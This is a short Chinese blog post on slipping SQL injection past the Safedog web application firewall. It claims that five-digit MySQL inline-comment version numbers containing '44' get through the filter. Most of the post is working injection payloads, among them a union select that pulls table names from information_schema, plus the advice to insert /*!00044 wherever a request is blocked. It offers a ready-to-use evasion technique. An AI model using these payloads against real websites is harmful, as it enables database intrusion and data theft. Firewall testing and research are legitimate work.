前言

1
最近闲来无事,又对各waf产生了兴趣,本文仅来调侃一下安全狗中有趣的waf规则(其实只是简化了bypass payload而已)。留一个坑,后续可能会整理一篇常见waf(阿里云、云锁、d盾等)的bypass技巧。

waf规则中的“后门”

在fuzz了众多bypass payload后发现了一些问题,突发奇想写脚本fuzz了一下内联注释中的五位数字,验证了一些猜想。

1
2
3
4
payload1:
?id=-1' /*!00000union*//*!00000select*/1,2,3--+
payload2:
?id=-1' /*!11440union*//*!11440select*/1,2,3--+

有兴趣的师傅可以测一下,会发现payload1并不能过狗,但是2可以。因此对于自己的猜想更加强烈,而结果显而易见。

waf留给众黑客的“后门”

直接看payload好吧

1
?id=-1' union/*!00044select-1,2,group_concat(table_name) from information_schema.tables where table_schema=database*/()--+

所以懂我意思吧,内联注释中的五位数字只要小于版本号并且格式为:44xxx/x44xx/xx44x/xxx44。so,小霸王bypass机,哪里拦截,/*!00044加哪里。